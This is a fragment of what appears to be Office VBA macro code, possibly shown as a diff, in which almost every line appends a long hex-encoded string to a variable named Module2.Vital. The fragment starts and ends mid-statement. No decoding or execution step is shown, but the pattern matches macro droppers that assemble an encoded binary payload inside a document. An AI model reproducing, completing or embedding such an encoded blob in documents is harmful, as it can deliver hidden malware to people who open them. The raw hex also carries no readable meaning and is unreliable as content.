"663DFC0F0F8F2B9D607EDC0933F6668C9D000960051A5E85A1E220CABFCFD9E1C25B02532BC6FA84350CAD96CDDE4DBC2503F0EB2D29280CFF1BC2B68D2EF73BF70F8C63768E60C1D634BB53B25D20302C7838AA2B6E239CAD1E4F8A850C1F03DD7F6FE0"; - Module2.Vital += "A3118D4DFC3C0145D45351386D8805BC66717DB18302CB1AFF1E0F42BF681B62030510B8393D3118580454290659E931E95C6A230E67A03184F1B6A2B701156A07CCCBD818A65E84F11EC863C621965D3F67E29D42C6FB3D6A5D4A8C5044AFCC40488053"; - Module2.Vital += "76AE2503D8AFEB5E724AA63DEC14B62C35B2EB063D3DC942EC382360C3C7757242AAC68A8D74A06B700F5C575C712281E2A408F66C7490FCD70804B959C086A410392BCE6D239C71C6E8847892388C19B0CF626C80C57570665E09306BF244DA9E729A05"; - Module2.Vital += "0B36401A1874081BD8C9C480D13580A1EA66E611780CBC7D658F8DC74AAAB88C380D5B4F80CBC0058005457849AA668E6ED12133FC70615505A3AB7447BFB65ACC3E996A4687F572D403E12F1093395DB87511E0C2A6C31B8157EB100503EB24E8096C58"; - Module2.Vital += "84E2EB4298A1080026CB0761F1D984E2DC87752762318BC9D818632C1C9613C6666C0BEC0C82CFB7DC4768C6601E889D45063D0C4178027E1537F41A3B0C1222B8CB7984901088F765D9FE3C4848743402271A0D48754C300779B03F2A7CEB260974EB1C"; - Module2.Vital += "6CEBC90679901264EB085CE9569B8C65580AFF8A02EC9072DBF4A377FF950E1D52927BC561226408877DE646DBC87616330DE4633B1B2BA41C1E835623B2F67DC982F76DC684050D2A14456EE613889C056E9B04D9C94F01971A38240C7533844BE8AA1D"; - Module2.Vital += "452D54BE9CB0A30B1CE95825721F36D6889DF65B042A0713CDE6B6DD5A06743B393015145931B2913019FDD72470C00601E0503B3E3AAE002BE4328126B705C265404886FA7CFF6BE8902318D934B150172B8841053C0AEF3C4F77B25004B0AEAA255BC9"; - Module2.Vital += "C8615E2C1C08700B8E306D3DACEB7E2108096180D6328EA9188C2074303691B0B3B7B5FE30102C55020FB04BC07E14536A2057662C90066E2FE084D6A5E24F5313FE531826E03065898F13D6D7AD3E75046A3E726A24092407C0DAE41BF1105B790DFB2C"; - Module2.Vital += "F6EB05275C8975405932588B4011CE54743E4B65CD253F4F488A75454BF6E8B5A03A42A54D86409A0326408B41ACD924353CFF81389066E0051C74E284B5D9105D59EB56CD8EE0E58DA5FDACD8A4FBB8F084D66C2050C7B0D8A3B105203BDEA302054115"; - Module2.Vital += "A8D7B63BBCC76C5C3116337933DA6C2544A887A5B1746BE53E8C757672A16E8CD4777A9B1D4D6DEB90D47AC5756FC0AC5C910CB363598D473D4BB2AB01B784D227881FA31824D91588D34E00239B6D40C0842E92B0AC50677E8D9A9B4EE5A408C9D5298C"; - Module2.Vital += "93416BC8AE8E3B7F6D16B2C125407D0160B0023479AB6BF8872759CEC88F998DB575AF8C143DA3C8B78BD152CA331AFBFD8B8D7121B40522C1CD5C902645738B27893A6B931B2D82D83649CDC76C5912D72B4929038C207524903C609C6C068EE1907503"; - Module2.Vital += "7C5EF2799CD694D4A0D6A1D6679003B20198D5642C184278317015A30C04BB6AA1C983CFB3FCEA06378A4D8CBB8C0859FFD00E122F23E8282B7D90F1BD49FF00AFE6D3894327848D8D4DDA819E0027512181FF4F6D2968B576021B6C06A4C9DAB6782013"; - Module2.Vital += "0AE550414FB6DF598C33F375BEED109875637F67B371211E34B27892C66D0774D8D66C0646314E477B8C2E8109D03A409B85180C629140F5ED36C3EC2B99757CE06AD438A1A08357149C514516EF51F06A0DF0CBCBC577602BC9022812171F8CD8C1D042"; - Module2.Vital += "0F8C6A35EB09B212C2610A41F62F8D1DEB2F9A75168BBD7B0157D690224A9C9D06941E9B88C967B357E11F1C349C7536383B02A18950549808AC5CCE019D2F0142CF1A74C26D57F0996A1416318B418839015D3D42B035469C4839CB8F072C1C107EF302"; - Module2.Vital += "A0F65A6C105D8A2A3010E1C8CE70A4681380BC7C75EA5022FE5B0F0D885D0D807D0D060A5A00DCD361A5D70F1CF61D56E827FA01740BF60A0788E016C0231ED706870EB9B2679F0831220883BDB1F72232630B0D64FFF86C366B88CCC9C38E3CFFE19D0A"; - Module2.Vital += "F635F48ADE41525966399E29884D08782AB1E8B0F501B403F2AD105325B2134290742F2A03CA8444749B1961C0600DEB101AA84641B2106C96ECA791F77570B7000833442DAC44B22444376221E3B435362EBC19264FC9A2927114F4B1618D943F66761E"; - Module2.Vital += "000491B87485709F39389DB23D1D0DB4759B1E02DA6ED7C58CB89D1FBEDB8903E181D8989CB95A170FE028BE281F060F8207060819BB09C6D6983CE475120D007E8602308931FD0AF8CCD80358E49E0DE422239739C610CCC4D8142FD807E0BA497CCEA8"; - Module2.Vital += "51C42A74500A5C7B06A30E2E78C79BAD603A3D5F35C16DFC02FCC1CA41340C0C57DC882D05B9B42D591004715A9ECF93B8F4EA128F62EB514D930444BADD6BC255C45A6F4EF00215A4BAD9FBC618E064B03020AAC45D10E70C65F0C50F300A52B3011B01"; - Module2.Vital += "B1D1A482D1C01095D1B295BEA1C24572C26863D80E2214BCC95ABDC374ABF828503B1482E680C413706344EB21EA6C213989E44340E44232808D242B427E322036D00F0CF40F844C016C0BD96C44EA44EA1E248270A3D1384964EF00B0E16044AA915A72"; - Module2.Vital += "286C65234C7268EAD768141350C239C8B875677858194C82708E305B25DCF14CEA7C3EF7881D90808DF95EF73ACCDCD7A02F172E3585A424AC92E0C395548B66FDBF757B8BE0B00A5838C3BCD48BDBFB1060306820FCDA44BE6E02F151C336FC7ECD4580"; - Module2.Vital += "06BFE9292360CBBE52C0065BFD30154633A0A1A3600503B6466898A83103C682A6FA9F001C8060B3F3E80FAEB8A5690F810E8981100A8262410FCDAE287460F1AB6E5CD13F1F42B38F83108A853CC175B942F1B51A7AF50EE106DBE546B30C6E0C45BC0C"; - Module2.Vital += "3CC207B83CCBB33CC3A8C6BEBDACA2C5B3BBB4D4ED845F31760AB0FE348A750FAAE013F1E447EB39FC546AE6324598D8AD810909E2502E04923B227C1F829EE06A504EA430CB192510B6E2B53A89A5F390028B8D84C8EA23DBC76279DBF8894D0C201271"; - Module2.Vital += "BEC26C631AD00E03505BE676465DF601BE5CF70FEA7A88D2050F461B548216342B30AAD850B40629D0020C7CFABEFBBB61374E14A3210F86804233C9395DECA805DA21A13B24F0FE876F4F935DF47FFC76658BB35003C18A0C0A2AB482D8A5F108391C34"; - Module2.Vital += "7DBF443B0E40FD381C0774054CDC62BF05B12107720B8BD02B15405BC167057D3B280C103303F0EEFFD8C2A171B614080155F0413B4DEC5E72A1837D8459142E49732E4EA52A0B2627047D535BD6105D060C67E0E44488E18F3D3C3C743C7F0D937DF403"; - Module2.Vital += "C85751C2C6BEBFF2A92492E8753974DC2054F6D84FD5C3AC8066591B59EB1C3888DAC0121AFCA14688EC617DEC4DDCC0210B34BB576A51A0030ADF085B0B3FA82896A84DCCB3C1C208595C95525088C4438E5408E871F6EB3A46BA62B2C747FD8C4621C4"; - Module2.Vital += "58C25B125C615CCE38E9EB0751B646B6EE0171C633860F8BB543C8764496EF3A08D07552E4E7C27843D10853036A185E328E30669C56500738472E7B07A3EB4501E0435021581141B95F4BDFC658595903EC3A502D8B1EB35780C19D343BCBE10D13021F"; - Module2.Vital += "D9F3A47469DB7B6F4507618BFB83FE0549434876211C7F26DD5F1939646C42D74025203991C07E026A065EEB171909A8AB40E22A9CEEE0438099FC15EC6A528E1026371E0A78FC2C6A8C204CF70375E400C1B93C29FF356158600B62FD40A34E980CFAB7"; - Module2.Vital += "1ADB03C17AFE4318A859514B0E0C6D62031E0064F045EEA71A4975F0BF0511596C7673670FEB0B28124848C606F2B8752C420992CFBEDD3D681145D634B97542056C009903573F449C25EC1F194ABAD8C04DA8439AF5BB483AA0C0401064FF08FDC33D38"; - Module2.Vital += "7E98332620AC1875111651E804E9A5D3222E0348C0B03A9C976A225397B8102774BEED3D9456BE701E2AA329A13E01EFF70455DD0024189038662EE17875082FFCFC3C211423B708B4D8560D58805ED82B6B74156C0A47820B0962EB6208464E40D31BC5"; - Module2.Vital += "0A7CB2B605A1C99E4D02A829754E42F643B1153AB0114C683649009A8000A2381ED5C11544221EDA1C6630F89E566CD7D3839104C44DCE856407FB0ABB754F907529D360A32C20366B85594E58D2BC800DC8B7820BA36DE3FFFF5A3720876C9DC4E04626"; - Module2.Vital += "0D39AC318F43514C6F16508A624123C6C8E5ABEB7F64599259934CDB00931C7232424348CC204F33204CCC48C103737242595BAC642F02B6388A5A2B167435BB9F59272A799265E0C4CC6A58CBD89764E44AD0AF5A514E0F215B2768366A0917612819B2"; - Module2.Vital += "28435A8C92E0553978D304C18E090D4D173C30378EFD837240EB243C3175099C40015B3C329EF1D6601841423C3375CF41014911DB847C340D2D11679B803CEB15153184746F488C152A6E381332C8A96EA9C1BB0221E940F66743080EF2F0F6795DBECA"; - Module2.Vital += "2CA1DB58E9E049A8985196E313D251B10347F4802813CEA00688AE78EF3CCC68E1D876582A14F6DF68012DA4960A61C0A08C31480958DC9F2D90651978AD7A751E9288C964A93FC320173AFB9DF8592686F9FB00DB662DA2D463130D31AB252281B2FD72"; - Module2.Vital += "0BA9097AD7A8000F95C00EC8601172DB646E8276080921A3E2EC12B2590D59F191005F08082C7523DEE8105EC83CEB6C2B8DED4BFDD7B534D48B093B0F973BF07716E4DE1649AA56AC47A11DD60E1980497EA173F96C36FB0D8985615B646121898D3758"; - Module2.Vital += "E11E89B55D068729483A9078C2D4078175695F07090FEC620ADF1A74638008DE905B88E4DEA80126001BAC4FFE68EB009C260F0A60552C10E085AD70FCFD16FD0A6659466A0C9DC1251F2A5358FD20425B12D19710D0213C2C9A2DC5041E0844D4B445B1"; - Module2.Vital += "3072EBEEEB9BA422587A8AA052D8562F448F0358EBEDBEC540CFAA78ABFCC4B8086FAB224834CB57340833A291A4547C2AB68B49FFA8018B9C241C1017A2741F0818CBC8325F165A0D88DE34997B8522A40CB80D33F639352A62044769B960A20CD4B774"; - Module2.Vital += "1856F3ABA13483706F482168FA0FD73036F18F01DB4C24143BCE7E300DCEC640B5FFEF26167E0A8044041985403BC17CF6E894A849F4CE335F892F7BF6357729A7D86877474B018807EA58A4565BCE5800E4021239D30BE49536BA8E5343C6542C3370C1"; - Module2.Vital += "98E966E5C6A35BD454A149B434845FED93FC745B421DC4142568F72CB1B7882766396D750689375A5483D77E3F6E1C75762EE215C6BFAFDA202268780789340FBFC9C7059BD5FB33B8EC2BC8010D3AEA7E2083013C771CCF13CDD8AC2893AF5CC5E8FD07"; - Module2.Vital += "304CCC3BD60F8E8FB1EA45DFFD6ABDFBA32BC23BD57F9643831FE9E83DF78BCA03F0D197D3815570198BEAAB1E736B8647BA2735F1B9FEDC2A28DAE1FFDB2366A5A46685ED7E2E456A00554EC836379BEDCF2454CD7DCED6C568C7DE165B59CB03D18912"; - Module2.Vital += "85D27C195B594D5946C646A49B84672500815AD1BF2319E439D08DE446A69291E04CE04C805C12485560D15CC9D0D024808C30815AF79D5A04CAD59CA9B60FE268555CD270503614A716D5EE4F9051A8F26BD751ABF465000EE8D62A0C91EB11DB142566"; - Module2.Vital += "5D5A1412154483C372CEE8C2E1FF21355CAC82CE8B5D10566681FB509BA9FAFC0F570F8F2AB6C355FB054C3BD9D18DBD04F081425CF824126683FB64197E72856FA9B60F69807D1405630DB5282A988B6E2E00B0C2306180C9911C00B05FD71CF402747D"; - Module2.Vital += "3466E9645FB645CCDEB51D658F006C43AACD6D099D028BD888EE6C5F13C7A51200060321AF25817A2BCC6642010C896E53F3560120C67E2B27EF1C83C6048D575600FD60406E085734BFACB931C22C745C274D292DC84211000C0A1081B39106F427580A"; - Module2.Vital += "0E69288771066D0D108661F060690CBA9C7A225A08691F565988F08427D843747319249C5D358304F0708100951C10BA7F03F4B6043B03087F15C4108BCE8A143088342BE8EE114140130C7EF360DBA83A4C99CB08A41758A36090A8FEAC53670617A8A6"; - Module2.Vital += "0205A1EB6FBCEF079AB3117C07D9ECEB0506220115A0E8995C73C059033B40505F0A322A0E34A58D034230D91F577E0D66DFEEA257FEFD806705C607346ABE2424929D70A03AC87D8C760E32DBF6A9389E0D1EA3E2F7C1F8AB018A860E8DBED753F545DB"; - Module2.Vital += "0C0C75B6BB83990D0D3F707A11322A6C160968662F1F99403601EFC6053B01FE7C01EF6FBE3102753EB4805706F09205D830A3259B994700FE594607A32B618B8AC9E85C1328C3872548D457D89A2CF4BA0CBFC601A481C805B405E5768A4910EF386472"; - Module2.Vital += "429DE80494D3C7506C6C87D4BD5EABE30AF71841A02C1517781C0B3DD66C0C6BF63B10747382D49FDC2C77082E7512D50074612E7458B02A9E6CD9D40C206EDDEC8FF5750BB90538451874372080A07B5038036EB1BEA28E8A61DB0B1814018287194413"; - Module2.Vital += "7B28499E82D788B748F8B0E7CECC4CFF102C2ED4530A18C9B6F0145DD041D0A6B09BA5350EC82133F58201750156F9154CF5A5EC7753344BF7838DC80FFFA631C34285AB3E083248A1DBB6A502C9B6EE4842D00B66EB22B848745782502AA4BCF374BB28"; - Module2.Vital += "0BF05004EEEA3A7BD62838160BACA7ECC8C39B150F0BFC9F3A17093B1A8C1734EF7CD54D6F562D39A4EC42130E6120050EBF31C13B644A736A35006871493275F435102CDBB5541515E81776369BA67BD327B3F0B242B0097B70CFBF2661F2B4D4A8CF72"; - Module2.Vital += "B11A74E60F0E2C998B4A234F41AC84F68C5D6049D400DF413BDE9D44E5570CC200D653B7252013D4B1E8078B7DE8B7179614ECED08770C7F8BCF5BD3E30FC66F950C7D8975F48BDE36004C3BEA402782C64478D6D46CDF6A804DD0FF03D2D116A811BB05"; - Module2.Vital += "B4B93907AC10A4282D6CDB6DB93BF866B0037DB244B402B8D97EF9B2BCC0895DC4C8C645CC1E03CE0D8285B8CD1E75E556E3E7B057C05651BF6C48896010EAE4751D9DF8A005A936C6FAFC04F9A1E932D22DFC4474DB9E7449B0AE1B55DB035737041B57"; - Module2.Vital += "D815FF40682000CC00F675E8135F387BAFA2D20A203C4D000A3B849EB9485AB854A1004C2BDA741230598157740BA528387F831B30C38A0FAF5D52C31F8B55F4C1C0B7CDF4EB0381E3850BC214DFC1E002FB6F20686C71424D8D4C183683C0360F1BB69B"; - Module2.Vital += "61DE2905806606140F8A8B7551BFFC4510894DD666DA890881C1485185C389D80CDCC776362F6CDBD6BA8441888C158C029005945B8458BE9889559CA0C6E959A01F1F4559F95575D414B64207DAF46B0ECAB657A215FC46480D28DD2F61A2FB34741B8B"; - Module2.Vital += "4D0C13FB7849B413BC1EBE03C28CD8682B44755ECB06FB8234C4F8E4EB30F4BE090E0E500A940BC6915F059B497DE78A08016CB220CCF8FE4C40122366C0D7D6442B54F87299A21D36524738736CD0BE933335713CAE1D9CA22D909F040FEEF6E88B4002"; - Module2.Vital += "13D3274CB322C9765029191660D626C17557C17C246B044C9AC6C014F314263871745250A0F3F00E0BFF866C1D43C756E206740C742C895751E424497AB37AD853884CBF46B01D0FBD30DAEB091D797FE8810A6464360C578D04171E12D136509A33C9C1"; - Module2.Vital += "F43BA970A482F9E53BF1EC738906287386AF27413CFFF6467D14198855D50C7311922BF183FE7F7308ED8D7AE3381418B140EBEA44D183FAD7B9CD2EB86253E473320F20198AEF765B753A54CA0BF5760B0AFE740540850FEB6E2172DE250C1C0348EBCD"; - Module2.Vital += "6F00DF4C257C8AD12AD0DD88143E77DF78A13B57F17328A7F88A0C1E11463BF0DDDF15FA880C3A72EF42288AD02AD18A4DFF2546DE706D6B1403891195000F8253C3826BAA8A03AE4E40D116D1CD872F85C0B8750F296FF8810ADA849ABEE24C8D7D9C5A"; - Module2.Vital += "A34E04A3FAEB377CFBAE7D8D341103CB4EB08D7003A7E6FC20ED6AC5F603438BFB3DDCF16166AB96BA2E2C390314B4AA054373106C6CE4027270FEE0F0A5AEAE55A36EFF26437CA8D8BEFE3B5DB40F875D0267B018CC33DDBFFCDD88E03BD1761E8D48EE"; - Module2.Vital += "13010D28B800B1103B7F6902DD607B77E994834F8A024CD84F4A01B16EA3B403C09155C10B020819A2778569BA41C1F804252D5A0BDCA812913C862821946D825AD802E4B4D0607DD4B0F185ADC402392F163A0C3789E304807FEBB89A8A17473A118D71"; - Module2.Vital += "D22664DBFE8A168A0F4610CA0DA4966407644288757E09934C32C9746A60564C32C9244C423832C924932E241A70E3FB4F108A0E46380F7509064F4F01466BECF8B29BF0E82BF24E8F75C4420C195AEB6FE4EC4DC0EBCE07ECB5B575A31F1EE483B70435"; - Module2.Vital += "E442EB86B95A82F89A0373EF8C78E16F854E2DE080650EFE88C74285C9FCB72F6CA8741394D88D78FE05EC893C814083E00768D82234D78BE005D0E9EB355AED5FF945C08A55E880EA59DA53B9B7EE6F5E0480E1F00ACA660315880B43446E6E81C04D97"; - Module2.Vital += "315B5374169DBBD0C85099E00096564DDF0E39FBD849890C8613DCD056D88934816E4007739D7DD16D54CC0FD5407D8C1366F7450EC1B90C876907427DC8BB6A5C2276FC1F8807C1E80843884701432A81C5581628E1C51306F4C660A9C0D6D681040A48"; - Module2.Vital += "B8797E10906A7401CCF4FA75BF405C430459EB3951B94C85C116B81536A1D13D3F4DC8AE41CCDD60E758053BCBCE4B4B4438B824B62F8BC32B6A59A42060AB141C3ABD7A6AB36254B74833DBC872B1A23A820C0AB5833C633B035610885618109001E259"; - Module2.Vital += "C269F4E8101514A29CFC5908B68D6138C0E4EAF07960F69D4732E41B8A7803CC5A0417131DFDB66ED58699563B4E2A2160570CDEC44753568CE46A1051F50B518F6AD0C21BD868B66354EDEB131D45501C786E9213141A0A1B36AB2515A7EEAF2FD4E8CF"; - Module2.Vital += "BA433C837CCD64441818524777D00F8CD48378643D9E5DF1858D2ABE60721003C366ED6D21A009DFB7102B481013DA6DEBE61C8B5585D2742D145804880B9C02B6A6CC0C2F48C3B70BB70B777020947824A203FB367E46FEADED58B08B0E330C7B8BDA8A"; - Module2.Vital += "1B84DB74AD7FAB052819B38A5A014241EBF1022EC005B60902124E7415DC4747BB2D0186A69D3B4A7CC97FEA9CDB9A3B740F3E438C5555B7A8174B3B5018D879FF0162453DAD89C41D14E5E041AF6C06686280558F4A01E0459C410F508B1667ABC969FC"; - Module2.Vital += "1F2C3A453042D40134BB0351A4C057E7D322F6998553D852D60F51C99ADABC5F2257110607D94A3F0FF06A25D5D90851B3301B5F0CB92144BD30180C23FB245F56A074496AA127655F5BD86ADB4857339C5B26396C0B9C0070F01438465B4ADD2626F03B"; - Module2.Vital += "0A86722BF9871A1342F06641C4DEA0CC6250CDFE1375166A77529B601851C353AC6D42C4A38AA6733462317E0D6056AB0B8BC424A204EA21D40A78D5AFFC90FACDDFFA2C6CBC7DC01FC88A45148845AAAE8860549F858C30A48830A2AA60EF149BAA8B84"; - Module2.Vital += "95A524664341431A8AFA8BB2A760214080CABC4B104BBB566DFFB125A81231200ABC86ECC58B45D61E64BA200D929B34531053268E6427264058F279EC8D50BD1C4877908025892AD696D6C44B618DCFA0D74DADABF501A6A882456CC026A2F52C809175"; - Module2.Vital += "9CF8D7338BEA13342002B67D75DFE1544231CD754AB1BCD9CC851C294A3C2218D601850D9244CC30FBC0184BC525B18CA2247D8DB985F215B5F08A21653B54ED8699970F8DA6003C5DC48746E49802E84BB9F32C91F60D1E34F1CF5809700E7522BCF02D"; - Module2.Vital += "83C82CCAA83B308866E2093217AC19A023A4310312885808D4FF230FA168BE716CE0FCECA586507C3FFC693D456576106902C059B90AF676531F6AC6C3EC5630746677B50DD606C2EC2B9D1872517E1487CDA851C4AAA0C9682246D60822135F58611817"; - Module2.Vital += "429601C6F01DC76540B40712ACC48BEC025C2721280CDC0B1FF50218D0B7A90C5C72C96515C808BC72C9259704B0006391935CA4A8FC86A82EE09D85F896A06E6E8F7841959360498C2B301CAC84565BB02550AD1E138C0BA3409B94089005D614A9744F"; - Module2.Vital += "855A181376175E18D723C2F188AD2EA891820E0E53295BD55A81216CFB5EB101179E4178A85753B1C7104EF297D92152DA0D20500D1C92CB9E116F102415144B2EB9E4200C182EB9E4920814041C3B15CC0848D63ADEB1289A907C393D3266B73BD10BAE"; - Module2.Vital += "328654048586C45E85CD758F7701C918DE64E4C8253E575757570CB300865D729096120EB18506CA13E10061626623CA4C209F0B574C025E1470025B7BEB585718148580D58F3274001A790C024002C5D8527BE20AD5AA0DF400E702137F00106E0DF0EE"; - Module2.Vital += "868884052064F40D33C977E1820DC314A6928A14103778A1F74088940D30ECCE72E65F14B87D8BF7A9FFEA943D3146148A8C3DD45B1CFB1D8DB41003DA9023C847B1CF6EBB6B14812601279C0D8D8C069B2BB1FD881E881172C471390548021045DCA2C5"; - Module2.Vital += "767883E0E180CA989BBD274723F8542C4A8A50E06CDF5D23D88BF34335955E6AAC6DD419660B88FB0903CA7BD605D168C58A5B7511AEB75AC854DE44F21802555C3B9BFB1832D1EB0FBF10080D12B7B8B5850610376F103BF67291FA852242B9154C240C"; - Module2.Vital += "76135AA3ED0ED58A54242AC175E63E0A00EC1272ED19394CA31300F80424F778B7350CA8360DAC1F008301AB0CB2FC688891680DF68D02F8274418006D7B6AB59F8EA00825ACF7D0231E199209AC7A360C093F160D362D18B58B4E3C03CE55F843D58B81"; - Module2.Vital += "9F493403C63BE87F892ECF58046B698D4BF88D5008D1E9A8D0635BC3FC55F88606F11BFE6FE0668B128BFA6681E700F0669430752981E2FF106F7453907DE803A37432FEAD95F8CD4F26EA2B55F43BC660243613AE6E18C705F59B4583DA6DE3DF9E0239"; - Module2.Vital += "4DF872B7037098AEEE2B991097940B90DB2400B0518B162630F6183BE56EB66A0BD0EFBA203DB5D5B3DE9F7812D84253ABAAF0AC1E176A48D74CDC0CDF66DCA553228C0B258DE89B7FEC78551E08B93E0FB785FA2BC860652E50FAFCFEADA20D2362BC5B"; - Module2.Vital += "FB541FA3CE83C0185066D6A3644A41B6D81A133193F417DEFF15245E740C833D1E1D03B001C332C0FC88989C2F184B806526748A2827FA84133D1BA8ED9100513EF63706D1E892F818907B5910E20C1C755983B764B8570C56237B46C39A1D33DB16FEF7"; - Module2.Vital += "3E12638FE5083E805CC93606A23E45FC508F80D681FB650A1A39053FC772DCF87C4EE2473C9F383420F6F04A51F3722D4FC81FBE0197888076182103C78B10F76F6DD86A04C00355A31183C1044B75ED5C024A777603F0565AF0A1FE66935051496EE413"; - Module2.Vital += "AC50B0F8E6A4213113E04EC0C576AD53741BF06046F1E5BF4000D782DF013DA17727268C6B826617B01C08649D112382123FB609530FB75959C645FD79E2D42C1201F314B4673482EC5984248A23B50C78515A2A300B157E380807253383403120448F8B"; - Module2.Vital += "BF508403F987F05756A080C7066CD784324D901727B323E70144588016729287B0ECE0FE083408AEB4B15F64D686417594536F6604A1C5362B1803EB537E63872EBA9F88990DBE0A2BC6B5D802948C09E4110CEFB52D0768E2E0023C305B10BAF72BFE8D"; - Module2.Vital += "872723F8F2108477B5C53E2BDE0FC0243D743839F766866E35747B433A4B6DB6AB8F323A0CEBC37D81C394C67EC23B8DB0068883C30456A5B7141B7BDE1FE881C7054B571498B5AA0A07C60B96144023B98E2008151F9D0B5BF96321C90EA9B823F6572D"; - Module2.Vital += "1D8C287348F0BF3B0D61562042348318B5507401B00E282559520D4CF7F28415EC23047CD82C2AA708706AF06BC0189C74CF58632F4597413598E962C3C626B16F6C1E2E32975AC182383C85856BA8D98537FA531A43F804B4AC9DE7F6F242A12BDA1A4C"; - Module2.Vital += "6378F66F201384740F104F6C47D7D50E4D1E0DD0EB3D6C06D8542B9635EC4690FD9E4C849CEB5DCB753F68BCF52E6608A050EF207418DD13A8CB9602532A8CF26C03D8828C482E922A1B90CD4D068444171213C4371970ED75E11603D8B9E917AC300BFB"; - Module2.Vital += "827B04385401487545A13167615608FE700183FE1F7ED946BBB915D4B43DFE637ECA47F2A255A259162B10F50EC65794FE281189353F9085A7A255CA645DEBED19C4F25501DEDEAC700B856B9C99D24589575FE225BEDF81C37E0D80840D127B91C87CF3"; - Module2.Vital += "207CA80D7253C774512D602DEA84F96469086AE1F6828A22401F6E861ED563F0CB137C8D833D5D600AE6013096640C36E45300A448DC44926FF25DD82D532AEC0D246B40C47678012C19800A46B80CE86597820CB886729245246009ADFA573BAC75637C"; - Module2.Vital += "53556A07E260347E530BD87FB066647217688BE885ED740D5533064181D274E2E1C06A062C756CB656DD0A1C0637C3404003F06BEEC88613695693D007A6CF07BF5AB3B30043703DE70994685CC01081567AFE6E5D5BC24B08960C02149F9EA6F83660FF"; - Module2.Vital += "0256745C86025A9A7D19E0264C02A06A0E915C41A7B4BEF9193B84870C2CE06848057C2ABC471B78196C580CE27F9B6D1B99DC5BE3C1E810663DFF7F7625EC8D9DB566368930A33B6B50C2BEF7881D3935C38367EFB042DA865784C10CFB0BDFD58A0F88"; - Module2.Vital += "32D23ACB7C0CF90C7F028AD306A86F9C6F0E0B1F587C083AD3B8D10771741268F37505EFC7DFDFDF08757A83F81109127470960D6A0CFB7869E4087463698981FEA07D53072F40B767A14B1C1074F31174417BB6076C11A4F907A53143E0D99EED2C0CA2"; - Module2.Vital += "2407A31C10027709A468FE0961201A6BD5D5E968BCC49778D615C3C6077BC65E7D80604856CC5A88185EDBCF06601B2D857183E8786258046CEF2DF602720B05B8AD517B076DDA1EF0C43CEBB85488EB57645826680DBAD88E0D7EEB190997AA241A3D19"; - Module2.Vital += "D0814108998BD8080FC6299F58EB1F96745CA0BD877D1CEB0E0A18A318BD4953F022FB5E1035C611F85683CEFF086E014F6FAC207FBDC9543B354C7442462E916C010F6A15F4F0E06C19A1A650BB1D500E12D187D1EBAD01EBA39845C031536E00E48C6A"; - Module2.Vital += "F982087C53890444169AFC73FFA419C75EB1936D015043C94C435FC1581700104867409E484028CC01DEAF74208812830DCF3C8A0FF160AB92C79A8B723146308734687AD511649A870DF8F8B851268EBF02285D489D2FB5B1E0019AD7C25CA63072D9EA"; - Module2.Vital += "810EFC843098EDF2CD10A73588C7458C99E509B66559B69002949CA0A418A83AC27259AC0E34B0302453A4A09B9D5F000AAC5A0FFE4660407B50634C7422EF2E242CC5306AB1B46911A20688095DD4D4CC19A2132444010E0DDE469FEC48094C837DD860"; - Module2.Vital += "D56FEC828ECDC3C1EBC41EAC4C36191B8B0B5C82207D1C8F44722C2C3361F48C37F675186A406F013A4BA03DA0940F54C958ACB1186328D30A580AC6867548E9346DF13C114D195A0008E9654BBA127D1735AD2CEBF842150A6F6687BEB5F9DCDB2FFD10"; - Module2.Vital += "33D28A5044080FB6700403D2EB0B12D40FBF8937308B500481F9B4753757439D4DB171803800FE96301F58E0C1E218527098398214382899C346A10894628C15B6001327310C116DA69E2227A98BAC4CA064DD4D968A19120A07832511C111FB1400C31B"; - Module2.Vital += "EC26E7CB9A2AA279192506891D4D007F1278751C536A066A037817460137A31D5B820D4621700E8A03A20A877F8BD770371C05530F97C0A207F02CDF4605200769246A4D1DE1F714DB3B50385D751FB00193A5B168736C360D1C4B3C6CC89B0EE11A38DD"; - Module2.Vital += "752DAC15B615040C771AE9F86B51B85B088A55C48155880D9EC15ABC85D3BE480457C45C49ABBDCD8D9D440CD8B47C8C5552D210A164180E114086A2E49A3457C4D38CD8D32050FC2D18D0103421BA20A40127388204B12130087A00F06108045B5D59C0"; - Module2.Vital += "CE4E02547C6978138C396219802551056CBFA3C98E70CC00B819A0FC803800BAEF0AED37807401C3807887E21074FBEBF25D0D5083FE0DE0502DA2BCC5B6FB232BC08BFA8CA1E8ED30C2206A0D8D7F6B445611648B48308CDAF6DBF8B7FFFF7574BA6C02"; - Module2.Vital += "FE7F8A2280FC048A420472050705760466B83303BFB1DD1665100601012C51B4421C8B580809BE257674A2A88FAB07BE1564AC80BBAB74050B4C11D644978CBCA44CEAA5DB26B65F6E018406AB8EA1D0580A6FF45FA884DBF7BF80FA60BA4B45DB7302B0"; - Module2.Vital += "43BFF1E003399307B33C5A740A81F23315FF3728B05AEBEA2BDBEB288B9328AD005AF47F0375F13BD376ED518D8BCE89DF82DFD45973E18BEAA412833A0675A329021C6CC3B251ABC528CD3D4870C1AB0C6A4758BAC89667BBC06803DC4704076C0C5881"; - Module2.Vital += "17085E8D4F202D385FF66CB6DFD87883ED08A4300373038B47201F241B3BFBFEDE3DABAFD30706FBDAF74BFF268A9B258DAB9F72153BC573112DF17D4D757F645F59E8DEFE57663A092DFEDDAD262572311F2D6A485983C0553917CB6569B60E060E0758"; - Module2.Vital += "751519C456D8E28A48FB63E82704CCE05647BF750340FCEB2A7A4F6DB9003CDD618DE74F1613BD10FF100A9702DB60A605AB648F05A1C5A11F855958A4316742F1E8BF9FBC8B54240C81C2B8D37BDE8A78D7C7C1A1D4894263C381386D05D72719750DA3"; - Module2.Vital += "837C0A46B7FDB604CC48484975E7C3910A84C33FE837D888197A983C8B7C137C6FD56D8B006F4B137866678BF2BFE37FF803FE03D33D9F73052B4210EB3F6B958B4A188B725F68D5FF2003F352E3198B062BFF3E58498A14076D72DBFF3A142F75EC4784"; - Module2.Vital += "D275F3AC5A9924252BF1B76ADF2B422441F7D922C404488BCB034A75DF8A6FE614818B0246043BC7723AEB6F54F0CDDB2DC352746C4A746174AD40C1FF7573546F446F73457272B91251C1430564614C15B490781714D0AAE0C8134FF72A702754CB5204"; - Module2.Vital += "2B549010C9211BF80E0A3E41666600794D61736B3F33D070603B02F9094A0CE30233F0E0DDFFE10BA484C2140DFA0D12F0A1E89D0555149A936E6DFD0FF740200809304681CAF1EEA982C118522634C9385CE92B41ED3587A142ED08DDAE978B013F0949"; - Module2.Vital += 